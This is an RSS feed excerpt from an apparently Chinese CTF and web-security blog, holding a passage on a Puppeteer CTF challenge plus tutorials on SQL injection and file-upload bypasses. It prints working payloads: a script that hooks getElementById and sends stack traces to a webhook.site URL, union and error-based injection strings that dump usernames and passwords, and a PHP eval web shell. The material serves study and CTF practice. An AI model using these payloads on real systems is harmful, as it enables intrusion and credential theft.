&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-docker" data-lang="docker"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;WORKDIR&lt;/span&gt; &lt;span style="color:#e6db74"&gt;/app&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;COPY&lt;/span&gt; ./stuff/ /app/&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;RUN&lt;/span&gt; PUPPETEER_SKIP_DOWNLOAD&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; npm ci&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;RUN&lt;/span&gt; chmod +x /app/index.js&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;RUN&lt;/span&gt; useradd -m www&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;RUN&lt;/span&gt; chmod &lt;span style="color:#ae81ff"&gt;777&lt;/span&gt; /home/www/ -R&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ENV&lt;/span&gt; FLAG&lt;span style="color:#f92672"&gt;=&lt;/span&gt;ASIS&lt;span style="color:#f92672"&gt;{&lt;/span&gt;test-flag&lt;span style="color:#f92672"&gt;}&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;RUN&lt;/span&gt; mv /app/ /$FLAG/&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WORKDIR /&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;USER&lt;/span&gt; &lt;span style="color:#e6db74"&gt;www&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I guess yes.&lt;/p&gt;
&lt;p&gt;One way is to hook &lt;code&gt;Error&lt;/code&gt; and find filename, but I have to install puppeteer for testing. I don’t know how things work internally for puppeteer😕&lt;/p&gt;
&lt;p&gt;If no one solves it I will try out sometime tomorrow.&lt;/p&gt;
&lt;p&gt;i dont know either. ppt is heavily coupled with chrome devtools, i guess the function execution is a part of devtools protocol.&lt;/p&gt;
&lt;p&gt;hook getElementById, read stacktrace.&lt;/p&gt;
&lt;p&gt;solved:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;flag&amp;#34;&lt;/span&gt; /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;oldFunc&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;e&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Error();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;stack&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;stack&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;\\n&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fetch&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;document.&lt;span style="color:#a6e22e"&gt;location&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;href&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;, {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;method&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;POST&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;headers&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Content-Type&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;application/json&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;body&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;JSON&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;stringify&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stack&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;oldFunc&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;apply&lt;/span&gt;(document, &lt;span style="color:#a6e22e"&gt;arguments&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;or&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;script&amp;gt;
const HOOK_URL = &amp;#34;https://webhook.site/ae22bc03-bb75-4080-9702-36cbb57cc53d&amp;#34;;

let sent = false;
function hook() {
 if (sent) return;
 sent = true;

 const e = new Error();
 navigator.sendBeacon(HOOK_URL, e.stack);
}
document.getElementById = hook;
&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>SQL注入</title><link>/posts/sql%E6%B3%A8%E5%85%A5/</link><pubDate>Fri, 20 Oct 2023 18:38:57 +0800</pubDate><guid>/posts/sql%E6%B3%A8%E5%85%A5/</guid><description>&lt;h1 id="sql注入"&gt;SQL注入&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://xz.aliyun.com/t/10594#toc-6"&gt;SQL注入之Mysql注入姿势及绕过总结 - 先知社区 (aliyun.com)&lt;/a&gt;[盲注去这]&lt;/p&gt;
&lt;h2 id="联合查询"&gt;联合查询&lt;/h2&gt;
&lt;p&gt;很多时候联合查询也会和其他的几种查询方式一起使用。&lt;/p&gt;
&lt;h5 id="联合查询用到的sql语法知识"&gt;联合查询用到的SQL语法知识&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;UNION&lt;/code&gt;可以将前后两个查询语句的结果拼接到一起，但是会自动去重。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;UNION ALL&lt;/code&gt;功能相同，但是会显示所有数据，不会去重。&lt;/p&gt;
&lt;p&gt;具有类似功能的还有&lt;code&gt;JOIN&lt;/code&gt; &lt;a href="https://blog.csdn.net/julielele/article/details/82023577"&gt;https://blog.csdn.net/julielele/article/details/82023577&lt;/a&gt; 但是是一个对库表等进行连接的语句，我们在后续的绕过中会提到利用它来进行无列名注入。&lt;/p&gt;
&lt;h5 id="注入流程"&gt;注入流程&lt;/h5&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;判断是否存在注入，注入是字符型还是数字型，闭合情况，绕过方式&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;?id=1&amp;#39; 
?id=1&amp;#34; 
?id=1&amp;#39;) 
?id=1&amp;#34;) 
?id=1&amp;#39; or 1#
?id=1&amp;#39; or 0#
?id=1&amp;#39; or 1=1#
?id=1&amp;#39; and 1=2#
?id=1&amp;#39; and sleep(5)#
?id=1&amp;#39; and 1=2 or &amp;#39; 
?id=1\
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;猜测SQL查询语句中的字段数&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用 order/group by 语句，通过往后边拼接数字指导页面报错，可确定字段数量。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1&amp;#39; order by 1#
1&amp;#39; order by 2#
1&amp;#39; order by 3#
1 order by 1
1 order by 2
1 order by 3
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;使用 union select 联合查询，不断在 union select 后面加数字，直到不报错，即可确定字段数量。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1&amp;#39; union select 1#
1&amp;#39; union select 1,2#
1&amp;#39; union select 1,2,3#
1 union select 1#
1 union select 1,2#
1 union select 1,2,3#
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;确定显示数据的字段位置
使用 union select 1,2,3,4,&amp;hellip; 根据回显的字段数，判断回显数据的字段位置。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;-1&amp;#39; union select 1#
-1&amp;#39; union select 1,2#
-1&amp;#39; union select 1,2,3#
-1 union select 1#
-1 union select 1,2#
-1 union select 1,2,3#
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;注意：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;若确定页面有回显，但是页面中并没有我们定义的特殊标记数字出现，可能是页面进行的是单行数据输出，我们让前边的 select 查询条件返回结果为空即可。&lt;/li&gt;
&lt;li&gt;⼀定要拼接够足够的字段数，否则SQL语句报错。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在回显数据的字段位置使用 union select 将我们所需要的数据查询出来即可。包括但不限于：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;获取当前数据库名&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;-1&amp;#39; union select 1,2,database()--+
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;获取当前数据库的表名&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;-1&amp;#39; union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

-1&amp;#39; union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;获取表中的字段名&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;-1&amp;#39; union select 1,2,group_concat(column_name) from information_schema.columns where table_name=&amp;#39;users&amp;#39;--+

-1&amp;#39; union select 1,(select group_concat(column_name) from information_schema.columns where table_name=&amp;#39;users&amp;#39;),3--+
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;获取数据&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;-1&amp;#39; union select 1,2,group_concat(id,0x7c,username,0x7c,password) from users--+

-1&amp;#39; union select 1,(select group_concat(id,0x7c,username,0x7c,password) from users),3--+
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;一般情况下就是这样的一个顺序，&lt;code&gt;确定联合查询的字段数-&amp;gt;确定联合查询回显位置-&amp;gt;爆库-&amp;gt;爆表-&amp;gt;爆字段-&amp;gt;爆数据&lt;/code&gt;。&lt;/p&gt;
&lt;h2 id="报错注入"&gt;报错注入：&lt;/h2&gt;
&lt;h4 id="报错注入用到的sql语法知识"&gt;报错注入用到的SQL语法知识&lt;/h4&gt;
&lt;p&gt;大体的思路就是利用报错回显，同时我们的查询指令或者SQL函数会被执行，&lt;strong&gt;报错的过程可能会出现在查询或者插入甚至删除的过程&lt;/strong&gt;中。&lt;/p&gt;
&lt;h4 id="0x00-floor8xmysql50双查询报错注入"&gt;0x00 floor()（8.x&amp;gt;mysql&amp;gt;5.0）[双查询报错注入]&lt;/h4&gt;
&lt;p&gt;函数返回小于或等于指定值（value）的最小整数,取整&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;通过floor报错的方法来爆数据的&lt;strong&gt;本质是group by语句的报错&lt;/strong&gt;。group by语句报错的原因是&lt;code&gt;floor(random(0)*2)&lt;/code&gt;的不确定性，即可能为0也可能为1&lt;/p&gt;
&lt;p&gt;group by key的原理是循环读取数据的每一行，将结果保存于临时表中。读取每一行的key时，&lt;strong&gt;如果key存在于临时表中，则不在临时表中更新临时表中的数据；如果该key不存在于临时表中，则在临时表中插入key所在行的数据。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;group by &lt;code&gt;floor(random(0)*2)&lt;/code&gt;出错的原因是key是个随机数，检测临时表中key是否存在时计算了一下&lt;code&gt;floor(random(0)*2)&lt;/code&gt;可能为0，如果此时临时表&lt;strong&gt;只有key为1的行不存在key为0的行&lt;/strong&gt;，那么数据库要将该条记录&lt;strong&gt;插入&lt;/strong&gt;临时表，由于是随机数，插时又要计算一下随机值，此时&lt;code&gt;floor(random(0)*2)&lt;/code&gt;结果可能为1，就会导致插入时&lt;strong&gt;冲突而报错&lt;/strong&gt;。即检测时和插入时两次计算了随机数的值。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;?id=0’ union select 1,2,3 from(select count(*),concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
/*拆解出来就是下面的语句*/
concat((select concat(version(),’-’,database(),’-’,user()) limit 0,1),floor(rand(0)*2))x
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;可以看到这里实际上不光使用了报错注入还是用了刚刚的联合查询，同时还是一个双查询的报错注入，当在一个聚合函数，比如count()函数后面如果使用group by分组语句的话，就可能会把查询的一部分以错误的形式显示出来。但是要多次测试才可以得到报错&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;大体思路就是当在一个聚合函数，比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来，但是因为随机数要测试多次才能得到报错，上面报错注入函数中的第一个&lt;code&gt;Floor()&lt;/code&gt;就是这种情况。&lt;/p&gt;
&lt;h4 id="0x01-extractvalue--------writeup_2023_0xgame_week2---rdjs-blog-notnad3githubio-2-ez_upload例题sql注入"&gt;0x01 extractvalue() [Writeup_2023_0xGame_Week2 - rdj&amp;rsquo;s Blog (notnad3.github.io)](&lt;a href="https://notnad3.github.io/2023/10/01/%5BWeek"&gt;https://notnad3.github.io/2023/10/01/[Week&lt;/a&gt; 2] ez_upload/)【例题，sql注入】&lt;/h4&gt;
&lt;p&gt;对XML文档进行查询的函数&lt;/p&gt;
&lt;p&gt;第二个参数 xml中的位置是可操作的地方，xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式，如果我们写入其他格式，就会报错，并且会返回我们写入的非法格式内容，而这个非法的内容就是我们想要查询的内容。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;其实就是相当于我们熟悉的HTML文件中用 &lt;div&gt;&lt;p&gt;&lt;a&gt;标签查找元素一样&lt;/p&gt;
&lt;p&gt;语法：extractvalue(目标xml文档，xml路径)&lt;/p&gt;
&lt;p&gt;第二个参数 xml中的位置是可操作的地方，xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式，如果我们写入其他格式，就会报错，并且会返回我们写入的非法格式内容，而这个非法的内容就是我们想要查询的内容。&lt;/p&gt;
&lt;p&gt;正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错&lt;/p&gt;
&lt;p&gt;select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))&lt;/p&gt;</description></item><item><title>文件上传</title><link>/posts/file_upload/</link><pubDate>Tue, 10 Oct 2023 18:38:57 +0800</pubDate><guid>/posts/file_upload/</guid><description>&lt;h1 id="前端绕过"&gt;前端绕过&lt;/h1&gt;
&lt;p&gt;正常上传文件,捉取数据包修改（bp抓包改后缀）&lt;/p&gt;
&lt;h1 id="后端绕过"&gt;后端绕过&lt;/h1&gt;
&lt;p&gt;服务器端检测的绕过&lt;/p&gt;
&lt;h2 id="函数特性"&gt;函数特性&lt;/h2&gt;
&lt;p&gt;move_uploaded_file函数会自动去除文件名末尾的点 和 /.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;fopen&lt;/code&gt;函数特性&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;?php
$filename=&amp;#39;1.php/.&amp;#39;;
$content=&amp;#34;&amp;lt;?php eval($_POST[1]);?&amp;gt;&amp;#34;;
$f = fopen($filename, &amp;#39;w&amp;#39;);
 fwrite($f, $content);
 fclose($f); 
?&amp;gt; 
#会在当前目录生成1.php,文件名为1.php.也可以
————————————————
&lt;/code&gt;&lt;/pre&gt;&lt;h5 id="其它"&gt;其它&lt;/h5&gt;
&lt;p&gt;后缀名大小写&lt;/p&gt;
&lt;p&gt;后缀名双写&lt;/p&gt;
&lt;p&gt;&lt;code&gt;尝试php3 phtml php3457(linux+apache+php5.6)等后缀&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;检测MIME类型的,捉包改MIME类型&lt;/p&gt;
&lt;h3 id="服务端检测mine类型检测-"&gt;服务端检测（MINE类型检测） &lt;a href="https://wiki.wgpsec.org/knowledge/ctf/uploadfile.html#%E6%9C%8D%E5%8A%A1%E7%AB%AF%E6%A3%80%E6%B5%8B-mine%E7%B1%BB%E5%9E%8B%E6%A3%80%E6%B5%8B"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;服务器代码判断$_FILES[”file“][&amp;ldquo;type&amp;rdquo;]是不是图片格式（&lt;code&gt;image/jpeg&lt;/code&gt;、&lt;code&gt;image/png&lt;/code&gt;、&lt;code&gt;image/gif&lt;/code&gt;），如果不是，则不允许上传该文件。&lt;/p&gt;
&lt;p&gt;绕过方法：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;抓包后更改Content-Type为允许的类型绕过该代码限制，比如将php文件的&lt;code&gt;Content-Type:application/octet-stream&lt;/code&gt;修改为&lt;code&gt;image/jpeg&lt;/code&gt;、&lt;code&gt;image/png&lt;/code&gt;、&lt;code&gt;image/gif&lt;/code&gt;等就可以&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;常见MIMETYPE&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;audio/mpeg -&amp;gt; .mp3 application/msword -&amp;gt; .doc application/octet-stream -&amp;gt; .exe application/pdf -&amp;gt; .pdf application/x-javascript -&amp;gt; .js application/x-rar -&amp;gt; .rar application/zip -&amp;gt; .zip image/gif -&amp;gt; .gif image/jpeg -&amp;gt; .jpg / .jpeg image/png -&amp;gt; .png text/plain -&amp;gt; .txt text/html -&amp;gt; .html video/mp4 -&amp;gt; .mp4&lt;/p&gt;</description></item></channel></rss>